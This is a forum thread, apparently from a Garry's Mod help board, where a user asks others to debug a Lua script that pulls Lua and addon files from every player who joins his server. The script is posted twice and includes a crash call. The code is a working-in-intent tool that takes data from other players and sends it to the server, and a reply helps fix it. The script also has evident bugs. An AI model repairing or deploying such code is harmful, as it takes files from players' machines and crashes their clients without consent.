help with file.Write and etc. LUA

hey guys, i have a test server and i think it would be fun to troll some of my friends , to think i hacked them. so i found some lua steal code on some sites but i cant get them to work. :confused: heres one of them
this code is from someone named bobblehead , i tried this code but it gave me errors : “CopyDir a nil value” … initially i thought its because CopyDir hasnt been defined yet , so i tried a couple different things but none worked , but can you guys fix this or give me another way to get lua files from every client that joines my server? thanks in advance


--Bobblehead's Hacker-Crasher
if SERVER then
	util.AddNetworkString("Cheater")
	util.AddNetworkString("CheaterCode")
	net.Receive("Cheater", function(ln, client)
		client:SetPData("Cheater", true)
		client.FileDir = string.Replace(client:SteamID(), ":", "_")
		if not file.Exists( "HAX", "DATA" ) then 
			file.CreateDir("HAX")
		end
		file.CreateDir("HAX/"..client.FileDir)
		
	end)
	-- hook.Add("EntityRemoved", "BanHaxorz", function(ent)
		-- if ent:IsPlayer() and ent:GetPData("Cheater",false) then
			-- RunConsoleCommand("ulx", "banid", ent:SteamID(), 0, "[BH-C] Hacking.")
		-- end
	-- end)
	
	net.Receive("CheaterCode", function(ln, client)
		if not client.FileDir then client.FileDir = string.Replace(client:SteamID(), ":", "_") end
		local dir, filename, filedata = net.ReadString(), net.ReadString(), net.ReadString()
		local dir = "HAX/"..client.FileDir.."/"..dir
		if not file.Exists(dir, "DATA") then
			file.CreateDir(dir)
		end
		if not file.Exists(dir.."/"..string.Replace(filename, ".lua", ".txt"), "DATA")then
			file.Write(dir.."/"..string.Replace(filename, ".lua", ".txt"), [[--[BH-C] I'M IN YOUR LUA! STEALING YOUR HAX...

]]..filedata)
		else
			file.Append(dir.."/"..string.Replace(filename, ".lua", ".txt"), filedata)
		end
	end)
	
	
	
else
	hook.Add("Tick", "Nohax", function()
		if GetConVarNumber( "sv_allowcslua" ) == 1 then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		elseif GetConVar( "sv_allowcslua" ):GetInt() == 1 then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		elseif GetConVar( "sv_allowcslua" ):GetString() == "1" then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		elseif GetConVarString( "sv_allowcslua" ) == "1" then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		end
	end)
	local function CopyDir(dir,src) --copypasta from gmod wiki.
		local files = file.Find(dir.."/*.lua", src)
		for k,v in pairs(files) do
			if v and  v ~= "" then
				SendFileToServer(dir,v)
			end
		end 
		local files,directories = file.Find(dir.."/*", src)
		for _, fdir in pairs(directories) do
			if fdir ~= ".svn" then
				CopyDir(dir.."/"..fdir, src)
			end
		end
	end
	
	function SendFileToServer(dir,filename, filedata)
		local filedata = filedata or file.Read(filename)
		net.Start("CheaterCode")
			net.WriteString(dir)--directory first
			net.WriteString(filename)--directory first
			net.WriteString(string.Left(filedata, math.Round(string.len(filedata)/2)))--filedata third
		net.SendToServer()
                SendFileToServer(dir, filename, string.Right(filedata, math.Round(string.len(filedata)/2)))--Split it in half to make sure it goes.
	end
end
 

You’re right. CopyDir hasn’t been been defined before you add the Tick hook.You defined it too late.

well i tried defining it as one of the first things but then i still got errors.

Post errors and your updated code.


 --Bobblehead's Hacker-Crasher
if SERVER then
	util.AddNetworkString("Cheater")
	util.AddNetworkString("CheaterCode")
	net.Receive("Cheater", function(ln, client)
		client:SetPData("Cheater", true)
		client.FileDir = string.Replace(client:SteamID(), ":", "_")
		if not file.Exists( "HAX", "DATA" ) then 
			file.CreateDir("HAX")
		end
		file.CreateDir("HAX/"..client.FileDir)
		
	end)
	-- hook.Add("EntityRemoved", "BanHaxorz", function(ent)
		-- if ent:IsPlayer() and ent:GetPData("Cheater",false) then
			-- RunConsoleCommand("ulx", "banid", ent:SteamID(), 0, "[BH-C] Hacking.")
		-- end
	-- end)
	local function CopyDir(dir,src) --copypasta from gmod wiki.
		local files = file.Find(dir.."/*.lua", src)
		for k,v in pairs(files) do
			if v and  v ~= "" then
				SendFileToServer(dir,v)
			end
		end 
		local files,directories = file.Find(dir.."/*", src)
		for _, fdir in pairs(directories) do
			if fdir ~= ".svn" then
				CopyDir(dir.."/"..fdir, src)
			end
		end
	end
	net.Receive("CheaterCode", function(ln, client)
		if not client.FileDir then client.FileDir = string.Replace(client:SteamID(), ":", "_") end
		local dir, filename, filedata = net.ReadString(), net.ReadString(), net.ReadString()
		local dir = "HAX/"..client.FileDir.."/"..dir
		if not file.Exists(dir, "DATA") then
			file.CreateDir(dir)
		end
		if not file.Exists(dir.."/"..string.Replace(filename, ".lua", ".txt"), "DATA")then
			file.Write(dir.."/"..string.Replace(filename, ".lua", ".txt"), [[--[BH-C] I'M IN YOUR LUA! STEALING YOUR HAX...

]]..filedata)
		else
			file.Append(dir.."/"..string.Replace(filename, ".lua", ".txt"), filedata)
		end
	end)
	
	
	
else
	hook.Add("Tick", "Nohax", function()
		if GetConVarNumber( "sv_allowcslua" ) == 1 then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		elseif GetConVar( "sv_allowcslua" ):GetInt() == 1 then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		elseif GetConVar( "sv_allowcslua" ):GetString() == "1" then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		elseif GetConVarString( "sv_allowcslua" ) == "1" then
			net.Start("Cheater")
			net.SendToServer()
			timer.Simple(60*8, cam.End3D)
			CopyDir("lua", "GAME")
			CopyDir("addons", "GAME")
		end
	end)
	
	
	function SendFileToServer(dir,filename, filedata)
		local filedata = filedata or file.Read(filename)
		net.Start("CheaterCode")
			net.WriteString(dir)--directory first
			net.WriteString(filename)--directory first
			net.WriteString(string.Left(filedata, math.Round(string.len(filedata)/2)))--filedata third
		net.SendToServer()
                SendFileToServer(dir, filename, string.Right(filedata, math.Round(string.len(filedata)/2)))--Split it in half to make sure it goes.
	end
end

errors is the same as before = CopyDir nil value